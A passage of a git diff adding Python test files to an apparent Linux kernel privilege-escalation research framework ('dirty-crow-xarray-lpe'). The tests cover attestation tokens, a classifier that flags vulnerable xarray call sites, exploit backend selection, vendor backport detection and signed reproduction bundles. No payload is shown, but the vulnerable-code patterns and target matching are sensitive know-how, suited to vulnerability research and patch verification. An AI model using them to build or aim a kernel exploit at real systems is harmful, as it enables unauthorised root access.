self._final_url = final_url + self.headers = {"Content-Length": str(len(payload))} + + def read(self, size: int) -> bytes: + return self._stream.read(size) + + def geturl(self) -> str: + return self._final_url + + def __enter__(self) -> _FakeResponse: + return self + + def __exit__(self, exc_type: object, exc: object, traceback: object) -> None: + return None + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_attestation.py b/dirty-crow-xarray-lpe/framework/tests/test_attestation.py new file mode 100644 index 0000000..87b5b43 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_attestation.py @@ -0,0 +1,116 @@ +from __future__ import annotations + +import socket +import tempfile +import unittest +from dataclasses import replace +from pathlib import Path + +from dirtycrow.attestation import ( + AttestationError, + issue_attestation, + parse_attestation_payload, + validate_attestation_payload, +) + + +class AttestationTests(unittest.TestCase): + def _session(self, root: Path, *, now: int = 1_800_000_000): + profile = root / "target.json" + profile.write_text('{"target":"test"}', encoding="utf-8") + return issue_attestation( + "debian-attestation-test", + profile, + "a" * 64, + "b" * 64, + "backstep-proof", + now=now, + ttl_seconds=120, + ) + + def test_token_is_strict_bound_and_single_use(self) -> None: + with tempfile.TemporaryDirectory() as directory: + session = self._session(Path(directory)) + payload = session.token.payload() + consumed: set[str] = set() + + fields = validate_attestation_payload( + payload, + session.token, + now=session.token.issued_unix + 1, + consumed_token_ids=consumed, + ) + self.assertEqual(fields["kernel_sha256"], "a" * 64) + self.assertEqual(fields["initramfs_sha256"], "b" * 64) + self.assertEqual(fields["policy"], "reboot-only-proof") + with self.assertRaisesRegex(AttestationError, "replayed"): + validate_attestation_payload( + payload, + session.token, + now=session.token.issued_unix + 2, + consumed_token_ids=consumed, + ) + + def test_expired_and_mismatched_tokens_are_rejected(self) -> None: + with tempfile.TemporaryDirectory() as directory: + session = self._session(Path(directory)) + with self.assertRaisesRegex(AttestationError, "expired"): + validate_attestation_payload( + session.token.payload(), + session.token, + now=session.token.expires_unix, + ) + mismatched = replace(session.token, kernel_sha256="c" * 64) + with self.assertRaisesRegex(AttestationError, "kernel_sha256"): + validate_attestation_payload( + session.token.payload(), + mismatched, + now=session.token.issued_unix + 1, + ) + + def test_private_channel_delivers_exactly_one_payload(self) -> None: + with tempfile.TemporaryDirectory() as directory: + session = self._session(Path(directory)) + with session: + self.assertIsNotNone(session.launch) + launch = session.launch + with socket.create_connection( + (launch.host, launch.port), timeout=2 + ) as connection: + chunks: list[bytes] = [] + while chunk := connection.recv(4096): + chunks.append(chunk) + self.assertTrue(session.wait_for_delivery(1)) + fields = parse_attestation_payload(b"".join(chunks)) + self.assertEqual(fields["token_id"], session.token.token_id) + delivery = session.delivery_record() + self.assertTrue(delivery["delivered"]) + self.assertEqual(delivery["delivery_count"], 1) + with self.assertRaises(OSError): + socket.create_connection((launch.host, launch.port), timeout=0.2) + + def test_payload_parser_rejects_duplicates_and_unknown_fields(self) -> None: + with tempfile.TemporaryDirectory() as directory: + session = self._session(Path(directory)) + payload = session.token.payload() + with self.assertRaisesRegex(AttestationError, "duplicate"): + parse_attestation_payload(payload + b"token_id=duplicate\n") + with self.assertRaisesRegex(AttestationError, "invalid field"): + parse_attestation_payload(payload + b"unknown=value\n") + + def test_only_destructive_proof_action_can_receive_token(self) -> None: + with tempfile.TemporaryDirectory() as directory: + profile = Path(directory) / "target.json" + profile.write_text("{}", encoding="utf-8") + with self.assertRaisesRegex(AttestationError, "backstep-proof"): + issue_attestation( + "probe-test", + profile, + "a" * 64, + "b" * 64, + "probe", + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_audit.py b/dirty-crow-xarray-lpe/framework/tests/test_audit.py new file mode 100644 index 0000000..f01bffd --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_audit.py @@ -0,0 +1,408 @@ +import subprocess +import tempfile +import unittest + +from pathlib import Path +from dirtycrow.audit import ( + ParsedSource, + build_relationship_graph, + audit_repository, + classify_callsite, + function_spans, +) +from dirtycrow.cstruct import parse_c + + +LOCKLESS_SINK = """\ +static int filemap_map_pages(struct vm_fault *vmf) +{ + XA_STATE(xas, &mapping->i_pages, start_pgoff); + rcu_read_lock(); + folio = xas_find(&xas, end_pgoff); + vmf->pte += xas.xa_index - last_pgoff; + addr += (xas.xa_index - last_pgoff) << PAGE_SHIFT; + rcu_read_unlock(); + return 0; +} +""" + +LOCKED_WRITER = """\ +static void clear_entries(struct xarray *xa) +{ + XA_STATE(xas, xa, 0); + xas_lock(&xas); + xas_for_each(&xas, entry, ULONG_MAX) + xas_store(&xas, NULL); + xas_unlock(&xas); +} +""" + +ACCOUNTING_ITERATOR = """\ +unsigned long shmem_partial_swap_usage(struct address_space *mapping) +{ + XA_STATE(xas, &mapping->i_pages, 0); + rcu_read_lock(); + xas_for_each(&xas, page, ULONG_MAX) + swapped++; + rcu_read_unlock(); + return swapped; +} +""" + +BATCH_ITERATOR = """\ +unsigned find_get_entries(struct address_space *mapping) +{ + XA_STATE(xas, &mapping->i_pages, 0); + rcu_read_lock(); + xas_for_each(&xas, page, ULONG_MAX) + indices[ret] = xas.xa_index; + rcu_read_unlock(); + return ret; +} +""" + +PREFETCH_ITERATOR = """\ +static void shmem_swapin_range(struct vm_area_struct *vma) +{ + XA_STATE(xas, &mapping->i_pages, start); + rcu_read_lock(); + xas_for_each(&xas, folio, end) { + addr = vma->vm_start + (xas.xa_index << PAGE_SHIFT); + read_swap_cache_async(entry, GFP_KERNEL, vma, addr, &plug); + } + rcu_read_unlock(); +} +""" + +XARRAY_IO_ITERATOR = """\ +static size_t iterate_xarray(struct iov_iter *iter) +{ + XA_STATE(xas, iter->xarray, index); + rcu_read_lock(); + xas_for_each(&xas, folio, ULONG_MAX) + memcpy(dst, folio_address(folio), folio_size(folio)); + rcu_read_unlock(); + return copied; +} +""" + +RANGE_PREDICATE = """\ +bool filemap_range_has_page(struct address_space *mapping) +{ + XA_STATE(xas, &mapping->i_pages, start); + rcu_read_lock(); + page = xas_find(&xas, end); + rcu_read_unlock(); + return page != NULL; +} +""" + +LOCKED_HELPER_CONTRACT = """\ +static void page_cache_delete_batch(struct address_space *mapping) +{ + XA_STATE(xas, &mapping->i_pages, start); + xas_for_each(&xas, folio, ULONG_MAX) + xas_store(&xas, NULL); +} +""" + +XARRAY_HEADER_MACRO = """\ +#define xas_for_each(xas, entry, max) \\ + for (entry = xas_find(xas, max); entry; entry = xas_next_entry(xas, max)) +""" + +REFCOUNT_SINK = """\ +void __fscache_clear_page_bits(struct address_space *mapping) +{ + XA_STATE(xas, &mapping->i_pages, first); + rcu_read_lock(); + xas_for_each(&xas, page, last) + folio_end_private_2(page_folio(page)); + rcu_read_unlock(); +} +""" + +SIMPLE_MARKED_XARRAY = """\ +static void *xan_find_marked(struct xarray *xa) +{ + XA_STATE(xas, xa, index); + rcu_read_lock(); + entry = xas_find_marked(&xas, ULONG_MAX, XA_FREE_MARK); + rcu_read_unlock(); + return entry; +} +""" + +INHERITED_LOCK = """\ +static void scan(struct xarray *xa) +{ + XA_STATE(xas, xa, 0); + xas_for_each(&xas, entry, ULONG_MAX) + consume(entry); +} + +static void caller(struct xarray *xa) +{ + xa_lock(xa); + scan(xa); + xa_unlock(xa); +} +""" + +CAPABILITY_GATED = """\ +static void gated(struct address_space *mapping) +{ + XA_STATE(xas, &mapping->i_pages, 0); + if (!capable(CAP_SYS_ADMIN)) + return; + rcu_read_lock(); + entry = xas_find(&xas, ULONG_MAX); + rcu_read_unlock(); +} +""" + +RENAMED_STRUCTURAL_SINK = LOCKLESS_SINK.replace( + "filemap_map_pages", "unrelated_consumer_name" +) + +CALLER_PROPAGATED_CONTAINER = """\ +static struct folio *next_page(struct xa_state *xas) +{ + return xas_find(xas, ULONG_MAX); +} + +static void map_pages(struct address_space *mapping, struct vm_fault *vmf) +{ + XA_STATE(xas, &mapping->i_pages, vmf->pgoff); + rcu_read_lock(); + folio = next_page(&xas); + addr += (xas.xa_index - vmf->pgoff) * PAGE_SIZE; + set_pte_at(vmf->vma->vm_mm, addr, pte, pte); + rcu_read_unlock(); +} +""" + +RELATION_SOURCE = ( + CALLER_PROPAGATED_CONTAINER + + """\ + +static void mutate_pages(struct address_space *mapping, struct folio *folio) +{ + XA_STATE(xas, &mapping->i_pages, folio->index); + xas_lock(&xas); + xas_store(&xas, folio); + xas_unlock(&xas); +} +""" +) + + +class AuditClassifierTests(unittest.TestCase): + def test_finds_enclosing_function(self) -> None: + spans = function_spans(LOCKLESS_SINK) + self.assertEqual([span.name for span in spans], ["filemap_map_pages"]) + + def test_classifies_known_unsigned_delta_sink(self) -> None: + finding = classify_callsite("v7.2", "mm/filemap.c", 5, LOCKLESS_SINK) + self.assertEqual(finding.function, "filemap_map_pages") + self.assertEqual(finding.lock_context, "rcu") + self.assertTrue(finding.uses_xa_index) + self.assertTrue(finding.subtracts_xa_index) + self.assertTrue(finding.address_or_pte_sink) + self.assertEqual(finding.classification, "known_sink_lineage") + + def test_container_identity_propagates_through_structural_caller(self) -> None: + finding = classify_callsite( + "v7.2", "mm/filemap.c", 3, CALLER_PROPAGATED_CONTAINER + ) + self.assertEqual(finding.container_identity, "&mapping->i_pages") + self.assertEqual(finding.classification, "known_sink_lineage") + + def test_writer_lock_is_derived_from_structure(self) -> None: + finding = classify_callsite("v7.2", "mm/example.c", 5, LOCKED_WRITER) + self.assertEqual(finding.lock_context, "writer_lock") + self.assertEqual(finding.classification, "writer_locked_contract") + self.assertLessEqual(finding.score, 1) + + def test_relationship_graph_links_producer_iterator_and_sink(self) -> None: + unit = parse_c(RELATION_SOURCE) + finding = classify_callsite("v7.2", "mm/filemap.c", 3, RELATION_SOURCE, unit) + graph = build_relationship_graph( + [ParsedSource(ref="v7.2", path="mm/filemap.c", unit=unit)], + [finding], + ) + summary = graph["summary"] + self.assertGreaterEqual(summary["producer_count"], 1) + self.assertGreaterEqual(summary["iterator_count"], 1) + self.assertGreaterEqual(summary["sink_count"], 1) + self.assertGreaterEqual(summary["candidate_count"], 1) + relations = graph["relationship_candidates"] + self.assertTrue(all(item["candidate_name"] is None for item in relations)) + statuses = { + obligation["status"] + for item in relations + for obligation in item["proof_obligations"] + } + self.assertIn("unproven", statuses) + edge_types = {edge["relation"] for edge in graph["edges"]} + self.assertIn("mutates", edge_types) + self.assertIn("iterated_by", edge_types) + self.assertIn("flows_to", edge_types) + + def test_value_only_iteration_is_downgraded_without_function_allowlist( + self, + ) -> None: + finding = classify_callsite("v5.16", "mm/shmem.c", 5, ACCOUNTING_ITERATOR) + self.assertEqual(finding.classification, "value_only") + self.assertLess(finding.score, 4) + + def test_index_sensitive_batch_remains_unproven(self) -> None: + finding = classify_callsite("v5.10", "mm/filemap.c", 5, BATCH_ITERATOR) + self.assertEqual(finding.classification, "index_sensitive_candidate") + self.assertGreaterEqual(finding.score, 8) + + def test_prefetch_is_derived_from_downstream_call(self) -> None: + finding = classify_callsite("v7.2", "mm/madvise.c", 5, PREFETCH_ITERATOR) + self.assertEqual(finding.classification, "prefetch_only") + self.assertLess(finding.score, 4) + + def test_same_container_data_movement_remains_unproven(self) -> None: + finding = classify_callsite( + "v7.2", "include/linux/iov_iter.h", 5, XARRAY_IO_ITERATOR + ) + self.assertEqual(finding.classification, "same_container_io_candidate") + self.assertGreaterEqual(finding.score, 8) + + def test_bool_return_without_sink_is_predicate_only(self) -> None: + finding = classify_callsite("v7.2", "mm/filemap.c", 5, RANGE_PREDICATE) + self.assertEqual(finding.classification, "predicate_only") + self.assertLess(finding.score, 4) + + def test_unobserved_lock_contract_is_not_assumed_from_function_name(self) -> None: + finding = classify_callsite("v7.2", "mm/filemap.c", 4, LOCKED_HELPER_CONTRACT) + self.assertEqual(finding.lock_context, "unclassified") + self.assertEqual(finding.classification, "value_only") + + def test_xarray_header_macros_are_infrastructure(self) -> None: + finding = classify_callsite( + "v7.2", "include/linux/xarray.h", 1, XARRAY_HEADER_MACRO + ) + self.assertEqual(finding.function, "") + self.assertEqual(finding.classification, "infrastructure") + + def test_refcount_release_sink_is_structurally_preserved(self) -> None: + finding = classify_callsite("v7.2", "fs/netfs/fscache_io.c", 5, REFCOUNT_SINK) + self.assertEqual(finding.classification, "refcount_release_candidate") + self.assertGreaterEqual(finding.score, 12) + + def test_simple_marked_xarray_is_value_only_until_producer_analysis(self) -> None: + finding = classify_callsite( + "v7.2", "drivers/infiniband/core/device.c", 5, SIMPLE_MARKED_XARRAY + ) + self.assertEqual(finding.classification, "value_only") + self.assertLess(finding.score, 4) + + def test_comments_and_strings_do_not_create_functions(self) -> None: + source = '/* static void fake() { } */\nconst char *s = "void fake2() {";\n' + unit = parse_c(source) + self.assertEqual(function_spans(source), []) + self.assertEqual(unit.status, "clean") + + def test_lock_inheritance_comes_from_structural_caller(self) -> None: + finding = classify_callsite("v7.2", "mm/example.c", 4, INHERITED_LOCK) + self.assertEqual(finding.lock_context, "writer_lock_inherited") + self.assertEqual(finding.classification, "writer_locked_contract") + self.assertEqual(finding.lock_inherited_from, ("caller:writer_lock",)) + + def test_capability_gate_and_container_identity_are_extracted(self) -> None: + finding = classify_callsite("v7.2", "mm/example.c", 7, CAPABILITY_GATED) + self.assertEqual(finding.container_identity, "&mapping->i_pages") + self.assertIn("capable(CAP_SYS_ADMIN)", finding.capability_gates) + self.assertEqual(finding.classification, "capability_gated") + + def test_known_sink_classification_does_not_depend_on_function_name(self) -> None: + finding = classify_callsite( + "v7.2", "drivers/misc/unrelated.c", 5, RENAMED_STRUCTURAL_SINK + ) + self.assertEqual(finding.function, "unrelated_consumer_name") + self.assertEqual(finding.classification, "known_sink_lineage") + + def test_parse_errors_are_explicit(self) -> None: + unit = parse_c("void broken( {") + self.assertEqual(unit.status, "partial") + self.assertGreater(unit.issue_count, 0) + self.assertTrue(unit.issues) + + +class AuditAcquisitionTests(unittest.TestCase): + def test_each_ref_scans_complete_tree_without_seed_paths(self) -> None: + with tempfile.TemporaryDirectory() as directory: + repository = Path(directory) + + def git(*arguments: str) -> None: + subprocess.run( + ["git", "-C", str(repository), *arguments], + check=True, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + ) + + git("init", "-q") + git("config", "user.email", "audit@example.invalid") + git("config", "user.name", "Audit Test") + (repository / "old.c").write_text( + "void old_scan(void) { xas_find(&xas, 1); }\n", + encoding="utf-8", + ) + git("add", "old.c") + git("commit", "-q", "-m", "old") + git("tag", "old") + + (repository / "old.c").unlink() + (repository / "moved.c").write_text( + "void moved_scan(void) { xas_find_marked(&xas, 1, 2); }\n", + encoding="utf-8", + ) + (repository / "new.c").write_text( + "void new_scan(void) { xas_next_entry(&xas, 3); }\n", + encoding="utf-8", + ) + git("add", "-A") + git("commit", "-q", "-m", "new") + git("tag", "new") + + cache = repository / "source-cache" + report = audit_repository( + repository, + ["old", "new"], + source_cache=cache, + ) + + self.assertTrue(report["source_acquisition"]["complete"]) + paths_by_ref = { + ref: { + callsite["path"] + for callsite in report["callsites"] + if callsite["ref"] == ref + } + for ref in ("old", "new") + } + self.assertEqual(paths_by_ref["old"], {"old.c"}) + self.assertEqual(paths_by_ref["new"], {"moved.c", "new.c"}) + manifests = { + manifest["ref"]: manifest + for manifest in report["source_acquisition"]["manifests"] + } + self.assertEqual(manifests["old"]["source_file_count"], 1) + self.assertEqual(manifests["new"]["source_file_count"], 2) + self.assertTrue( + all( + Path(item["manifest_path"]).is_file() for item in manifests.values() + ) + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_backends.py b/dirty-crow-xarray-lpe/framework/tests/test_backends.py new file mode 100644 index 0000000..512d12e --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_backends.py @@ -0,0 +1,81 @@ +from __future__ import annotations + +from pathlib import Path +import unittest + +from dirtycrow.backends import TargetContext, resolve_backend + + +REGISTRY = Path(__file__).resolve().parents[1] / "backends" / "registry.json" +FACTS = frozenset( + { + "filemap_unsigned_pte_delta", + "shmem_multi_index_store", + "vulnerable_xas_find_branch", + } +) + + +class BackendResolutionTests(unittest.TestCase): + def test_selects_exact_geometry_and_capability_backend(self) -> None: + report = resolve_backend( + REGISTRY, + TargetContext( + architecture="x86_64", + page_size=4096, + endianness="little", + source_facts=FACTS, + capabilities=frozenset({"madv_collapse", "proof_contract_v1"}), + ), + "backstep-proof", + ) + self.assertTrue(report["supported"]) + self.assertEqual(report["selected"]["backend_id"], "backstep-x86_64-4k") + self.assertRegex(report["selected"]["source_sha256"], r"^[0-9a-f]{64}$") + + def test_returns_structured_unsupported_reasons(self) -> None: + report = resolve_backend( + REGISTRY, + TargetContext( + architecture="aarch64", + page_size=65536, + endianness="little", + source_facts=FACTS | {"nonleaf_offset_fix"}, + capabilities=frozenset(), + ), + "backstep-proof", + ) + codes = { + reason["code"] + for evaluation in report["evaluations"] + for reason in evaluation["reasons"] + } + self.assertFalse(report["supported"]) + self.assertEqual( + codes, + { + "architecture_mismatch", + "page_size_mismatch", + "forbidden_source_facts", + "missing_capabilities", + }, + ) + + def test_requested_backend_must_be_registered(self) -> None: + with self.assertRaisesRegex(ValueError, "not registered"): + resolve_backend( + REGISTRY, + TargetContext( + architecture="x86_64", + page_size=4096, + endianness="little", + source_facts=FACTS, + capabilities=frozenset(), + ), + "probe", + requested_backend="missing", + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_backports.py b/dirty-crow-xarray-lpe/framework/tests/test_backports.py new file mode 100644 index 0000000..91fc329 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_backports.py @@ -0,0 +1,126 @@ +import json +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.backports import ( + audit_vendor_backports, + classify_xas_find_semantics, +) + + +VULNERABLE = """\ +void *xas_find(struct xa_state *xas, unsigned long max) +{ + if (!xas->xa_node->shift && + xas->xa_offset != (xas->xa_index & XA_CHUNK_MASK)) + xas->xa_offset = ((xas->xa_index - 1) & XA_CHUNK_MASK) + 1; + return entry; +} +""" + +SEMANTIC_BACKPORT = """\ +void *xas_find(struct xa_state *cursor, unsigned long limit) +{ + unsigned int expected; + + expected = get_offset(cursor->xa_index, cursor->xa_node); + if (cursor->xa_node->shift != 0 && cursor->xa_offset != expected) + cursor->xa_offset = expected; + return entry; +} +""" + +AMBIGUOUS = """\ +void *xas_find(struct xa_state *xas, unsigned long max) +{ + return xas_load(xas); +} +""" + +PATCH = """\ +diff --git a/lib/xarray.c b/lib/xarray.c +index 1111111..2222222 100644 +--- a/lib/xarray.c ++++ b/lib/xarray.c +@@ -1 +1 @@ +-old ++fixed +""" + + +class SemanticBackportTests(unittest.TestCase): + def test_recognizes_semantic_fix_despite_textual_rewrite(self) -> None: + result = classify_xas_find_semantics(SEMANTIC_BACKPORT) + self.assertEqual(result["state"], "fixed") + self.assertTrue(result["facts"]["nonleaf_expected_offset_resync"]) + + def test_recognizes_leaf_only_vulnerable_behavior(self) -> None: + result = classify_xas_find_semantics(VULNERABLE) + self.assertEqual(result["state"], "vulnerable") + self.assertTrue(result["facts"]["leaf_wraparound_resync"]) + + def test_emits_every_vendor_evidence_state(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + for name, source in { + "vulnerable": VULNERABLE, + "fixed": SEMANTIC_BACKPORT, + "ambiguous": AMBIGUOUS, + }.items(): + source_path = root / name / "lib" / "xarray.c" + source_path.parent.mkdir(parents=True) + source_path.write_text(source, encoding="utf-8") + (root / "candidate.patch").write_text(PATCH, encoding="utf-8") + (root / "kernel.bin").write_bytes(b"retained-kernel") + + targets = [ + { + "id": "ubuntu-vulnerable", + "vendor": "Ubuntu", + "source": {"kind": "directory", "path": "vulnerable"}, + }, + { + "id": "debian-fixed", + "vendor": "Debian", + "source": {"kind": "directory", "path": "fixed"}, + }, + { + "id": "fedora-ambiguous", + "vendor": "Fedora", + "source": {"kind": "directory", "path": "ambiguous"}, + }, + { + "id": "arch-patch-only", + "vendor": "Arch", + "patch_files": ["candidate.patch"], + }, + { + "id": "alpine-binary-only", + "vendor": "Alpine", + "binary_files": ["kernel.bin"], + }, + {"id": "untested", "vendor": "Other"}, + ] + profile = { + "schema_version": 1, + "fix_patches": ["candidate.patch"], + "targets": targets, + } + profile_path = root / "vendors.json" + profile_path.write_text(json.dumps(profile), encoding="utf-8") + + report = audit_vendor_backports(profile_path, root / "store") + + states = {target["id"]: target["state"] for target in report["targets"]} + self.assertEqual(states["ubuntu-vulnerable"], "vulnerable") + self.assertEqual(states["debian-fixed"], "fixed") + self.assertEqual(states["fedora-ambiguous"], "ambiguous") + self.assertEqual(states["arch-patch-only"], "patch-only") + self.assertEqual(states["alpine-binary-only"], "binary-only") + self.assertEqual(states["untested"], "not-tested") + self.assertRegex(report["canonical_payload_sha256"], r"^[0-9a-f]{64}$") + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_benchmark.py b/dirty-crow-xarray-lpe/framework/tests/test_benchmark.py new file mode 100644 index 0000000..cc0bcae --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_benchmark.py @@ -0,0 +1,97 @@ +import unittest +from pathlib import Path + +from dirtycrow.benchmark import ( + BenchmarkError, + _FIXED_TRANSITION, + _OLD_TRANSITION, + _Compiler, + _fixed_source, + _parse_sample, + _summarize, +) + + +class FixBenchmarkTests(unittest.TestCase): + def test_candidate_transform_requires_exact_vulnerable_preimage(self) -> None: + vulnerable = f"before\n{_OLD_TRANSITION}after\n".encode() + + fixed = _fixed_source(vulnerable) + + self.assertEqual(fixed.decode(), f"before\n{_FIXED_TRANSITION}after\n") + with self.assertRaisesRegex(BenchmarkError, "already contains"): + _fixed_source(fixed) + with self.assertRaisesRegex(BenchmarkError, "occurs 0 times"): + _fixed_source(b"unrelated\n") + + def test_sample_parser_requires_complete_ordered_scenario_set(self) -> None: + scenarios = ( + "single_index_iteration", + "marked_lookup", + "multi_index_iteration", + "restart_bounded_lookup", + "page_cache_scan", + "page_cache_fault_lookup", + ) + output = "\n".join( + f'{{"scenario":"{scenario}","sample":0,"loops":1,' + f'"elapsed_ns":{index + 1},"checksum":7}}' + for index, scenario in enumerate(scenarios) + ) + + records = _parse_sample(output) + + self.assertEqual([record["scenario"] for record in records], list(scenarios)) + with self.assertRaisesRegex(BenchmarkError, "scenario sequence"): + _parse_sample("\n".join(output.splitlines()[:-1])) + + def test_summary_compares_every_compiler_scenario_and_checksum(self) -> None: + compilers = ( + _Compiler("gcc", Path("gcc"), "gcc test", None), + _Compiler("clang", Path("clang"), "clang test", None), + ) + scenarios = ( + "single_index_iteration", + "marked_lookup", + "multi_index_iteration", + "restart_bounded_lookup", + "page_cache_scan", + "page_cache_fault_lookup", + ) + records = [] + for compiler in compilers: + for scenario in scenarios: + for variant, elapsed in (("vulnerable", 100), ("fixed", 102)): + for repetition in range(3): + records.append( + { + "compiler": compiler.family, + "variant": variant, + "scenario": scenario, + "sample": 0, + "loops": 10, + "elapsed_ns": elapsed + repetition, + "checksum": 99, + "repetition": repetition, + "order": repetition % 2, + } + ) + + measurements, compatibility, performance = _summarize(records, compilers) + + self.assertEqual(len(measurements), 12) + self.assertTrue(compatibility["passed"]) + self.assertEqual(performance["comparison_count"], 12) + self.assertAlmostEqual( + performance["geometric_mean_fixed_over_vulnerable_ratio"], + 103 / 101, + ) + + records[-1]["checksum"] = 100 + _, incompatible, _ = _summarize(records, compilers) + self.assertFalse(incompatible["passed"]) + self.assertTrue(incompatible["failures"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_bundle.py b/dirty-crow-xarray-lpe/framework/tests/test_bundle.py new file mode 100644 index 0000000..5e4f33b --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_bundle.py @@ -0,0 +1,164 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import shutil +import tarfile +import tempfile +import unittest + +from dirtycrow.bundle import BundleError, build_reproduction_bundle, load_bundle_profile +from dirtycrow.signing import generate_minisign_keypair, verify_minisign_signature + + +MINISIGN = shutil.which("minisign") + + +def _sha256(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +class ReproductionBundleTests(unittest.TestCase): + def _write_profile( + self, + root: Path, + *, + readme: str = "portable instructions\n", + destination: str = "README.md", + expected_hash: str | None = None, + ) -> Path: + (root / "README.md").write_text(readme, encoding="utf-8") + script = root / "run.sh" + script.write_text("#!/bin/sh\nprintf 'ok\\n'\n", encoding="utf-8") + payload = { + "schema_version": 1, + "release_id": "dirty-crow-test-release", + "title": "Dirty Crow test reproduction bundle", + "created_utc": "2026-08-30T00:00:00Z", + "target": { + "distribution": "Test Linux", + "kernel_release": "6.12.test", + "architecture": "x86_64", + "page_size": 4096, + "kernel_sha256": "1" * 64, + "initramfs_sha256": "2" * 64, + }, + "geometry": { + "qemu_version": "8.2.2", + "machine": "pc", + "acceleration": "tcg", + "cpu": "max", + "cpus": 4, + "memory_mib": 1024, + "boot_append": "console=ttyS0 panic=1", + }, + "expected_markers": ["PAGE_TABLE_PRIMITIVE", "reboot: Power down"], + "files": [ + { + "source": "README.md", + "path": destination, + "role": "instructions", + "sha256": expected_hash or _sha256(root / "README.md"), + "executable": False, + }, + { + "source": "run.sh", + "path": "run.sh", + "role": "runner", + "sha256": _sha256(script), + "executable": True, + }, + ], + "boundary": "Fixture only; no runtime claim.", + } + profile = root / "bundle.json" + profile.write_text(json.dumps(payload), encoding="utf-8") + return profile + + @unittest.skipUnless(MINISIGN, "minisign is required") + def test_builds_signed_deterministic_portable_archive(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = self._write_profile(root) + secret = root / "keys" / "release.key" + public = root / "keys" / "release.pub" + generate_minisign_keypair(secret, public, minisign=MINISIGN) + + first = build_reproduction_bundle( + profile, + root, + root / "out-one", + secret, + public, + minisign=MINISIGN, + ) + second = build_reproduction_bundle( + profile, + root, + root / "out-two", + secret, + public, + minisign=MINISIGN, + ) + + self.assertTrue(first["passed"]) + self.assertEqual(first["archive"]["sha256"], second["archive"]["sha256"]) + archive = Path(first["archive"]["path"]) + verify_minisign_signature( + archive, + Path(first["archive"]["signature"]), + public, + minisign=MINISIGN, + ) + prefix = "dirty-crow-test-release/" + with tarfile.open(archive, "r:gz") as bundle: + names = bundle.getnames() + self.assertIn(prefix + "MANIFEST.json", names) + self.assertIn(prefix + "MANIFEST.json.minisig", names) + self.assertIn(prefix + "dirty-crow-release.pub", names) + self.assertEqual(bundle.getmember(prefix + "README.md").mode, 0o644) + self.assertEqual(bundle.getmember(prefix + "run.sh").mode, 0o755) + manifest_stream = bundle.extractfile(prefix + "MANIFEST.json") + self.assertIsNotNone(manifest_stream) + assert manifest_stream is not None + manifest = json.loads(manifest_stream.read()) + self.assertEqual(manifest["release_id"], "dirty-crow-test-release") + self.assertEqual(manifest["schema_version"], 2) + self.assertTrue(manifest["closed_world"]) + self.assertFalse( + any(Path(entry["path"]).is_absolute() for entry in manifest["files"]) + ) + + def test_rejects_hash_mismatch_and_unsafe_destination(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + mismatch = self._write_profile(root, expected_hash="0" * 64) + with self.assertRaisesRegex(BundleError, "SHA-256 mismatch"): + load_bundle_profile(mismatch, root) + + unsafe = self._write_profile(root, destination="../escape") + with self.assertRaisesRegex(BundleError, "relative portable path"): + load_bundle_profile(unsafe, root) + + @unittest.skipUnless(MINISIGN, "minisign is required") + def test_rejects_machine_specific_paths(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + profile = self._write_profile(root, readme="C:\\Users\\alice\\secret\n") + secret = root / "keys" / "release.key" + public = root / "keys" / "release.pub" + generate_minisign_keypair(secret, public, minisign=MINISIGN) + with self.assertRaisesRegex(BundleError, "machine-specific absolute path"): + build_reproduction_bundle( + profile, + root, + root / "out", + secret, + public, + minisign=MINISIGN, + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_candidates_v420.py b/dirty-crow-xarray-lpe/framework/tests/test_candidates_v420.py new file mode 100644 index 0000000..2b045c9 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_candidates_v420.py @@ -0,0 +1,52 @@ +from __future__ import annotations + +import json +import unittest + +from dirtycrow.candidates import CandidateHarnessError, _parse_v420_dax_records + + +class V420DaxRecordTests(unittest.TestCase): + def _record(self, variant: str) -> dict[str, object]: + vulnerable = variant == "vulnerable" + return { + "schema_version": 1, + "model": "v4.20_dax_pmd_to_pte", + "variant": variant, + "xa_chunk_shift": 6, + "pmd_order": 9, + "cases": 130816, + "regressed_cases": 100128 if vulnerable else 0, + "correctly_skipped_cases": 30688 if vulnerable else 130816, + "first_regression": ( + {"cursor": 65, "pte_index": 64, "observed_index": 64} + if vulnerable + else None + ), + "passed": True, + } + + def test_accepts_expected_vulnerable_and_fixed_results(self) -> None: + for variant in ("vulnerable", "fixed"): + with self.subTest(variant=variant): + output = json.dumps(self._record(variant)) + "\n" + records = _parse_v420_dax_records(output, variant) + self.assertEqual(records[0]["variant"], variant) + + def test_rejects_regression_in_fixed_result(self) -> None: + record = self._record("fixed") + record["regressed_cases"] = 1 + record["correctly_skipped_cases"] = 130815 + record["first_regression"] = { + "cursor": 65, + "pte_index": 64, + "observed_index": 64, + } + with self.assertRaisesRegex( + CandidateHarnessError, "fixed v4.20 DAX run retained" + ): + _parse_v420_dax_records(json.dumps(record), "fixed") + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_catalog.py b/dirty-crow-xarray-lpe/framework/tests/test_catalog.py new file mode 100644 index 